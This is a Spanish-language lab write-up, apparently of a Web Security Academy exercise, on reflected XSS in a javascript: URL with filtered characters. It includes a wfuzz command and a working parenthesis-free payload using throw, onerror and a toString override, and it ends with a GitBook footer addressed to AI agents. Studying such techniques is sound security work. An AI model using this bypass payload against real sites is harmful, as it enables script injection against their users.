> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS en una URL de JavaScript con caracteres limitados

### XSS reflejado en una URL de JavaScript con algunos caracteres bloqueados

#### Objetivo

Usando una vulnerabilidad de XSS reflejado en una `JavaScript:` URL para mostrar `alerta` que contiene la `1337` cadena (la `1337` cadena debe estar presente en algún lugar del mensaje).

La aplicación refleja nuestra entrada en una URL de JavaScript. A primera vista, el reto parece simple, pero la aplicación filtra ciertos caracteres para prevenir ataques XSS. Debemos encontrar una forma de salir del contexto de JavaScript a pesar de estas restricciones y activar `alert(...)` que contiene `1337`.

<figure><img src="/files/1c81a17c57dfd70f20d7aa450bdf68aed667a8a0" alt=""><figcaption></figcaption></figure>

#### Análisis del código fuente observado

En el código fuente puedes encontrar el siguiente enlace:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Volver al blog</a>
```

{% endcode %}

Después de decodificar la URL obtienes:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Volver al blog</a>
```

{% endcode %}

Al hacer clic en Volver al blog se ejecuta esta URL de JavaScript. Al interceptar la solicitud, vemos que se realiza una llamada a `/analytics`. El `postId` el parámetro se toma de la URL (`/post?postId=...`) y se refleja en el cuerpo de la consulta de análisis.

<figure><img src="/files/4b894425f2669cf29d6bf491718c600829ec08d1" alt=""><figcaption></figcaption></figure>

#### Primer intento — Rotura del análisis

<figure><img src="/files/085bab148bb4051c638e9ffae9344dc8ae28647f" alt="" width="563"><figcaption></figcaption></figure>

Al inyectar una sola apóstrofe, el análisis se rompe (el ID se vuelve inválido):

```javascript
2'},{x:'
```

La apóstrofe rompe la estructura, lo que muestra que el valor se inserta en un contexto en el que las comillas tienen impacto.

<figure><img src="/files/8a1440000524bbed8daf3dda69709d814ab43696" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing de caracteres especiales

Rápidamente probamos qué caracteres especiales producen una respuesta válida (con `wfuzz` y los módulos de `special-chars.txt` lista). Ejemplo de comando usado:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Los resultados muestran que `&` y `#` producen un código 200 — son aceptados por el analizador y permiten insertar secuencias que cierran correctamente la estructura.

<figure><img src="/files/b90563170a1eb08fb9114021b73fa583647c0e5e" alt="" width="563"><figcaption></figcaption></figure>

Interpretación observada:

```javascript
post?postId=2&
```

<figure><img src="/files/d3e3dc675eefb7d5ad7d0704f25ab988fda990a2" alt=""><figcaption></figcaption></figure>

#### Construcción del vector de escape

Al cerrar correctamente el valor e insertar código, puedes obtener:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/88d956103f4c3181e992e83856e36b06b8eb6b15" alt=""><figcaption></figcaption></figure>

Aquí `x` queda vacío y la sintaxis es aceptada.

Luego intentamos añadir un `alerta` directamente:

```javascript
post?postId=2&'},alert(1),{x:''
```

Pero `()` los paréntesis de `alert(1)` se eliminan mediante el filtro — así que tienes que eludir la obligación de usar `()`.

<figure><img src="/files/2578411dedff07cda4cd9b09f894295f768a811b" alt=""><figcaption></figcaption></figure>

#### Eludir sin paréntesis

Se evita el uso de paréntesis y se usan expresiones de JavaScript más creativas para invocar `alerta` por `1337` en la salida. El payload final utilizado es:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/1c5920867c9959d903939cf0be0349ce6e3fe10e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
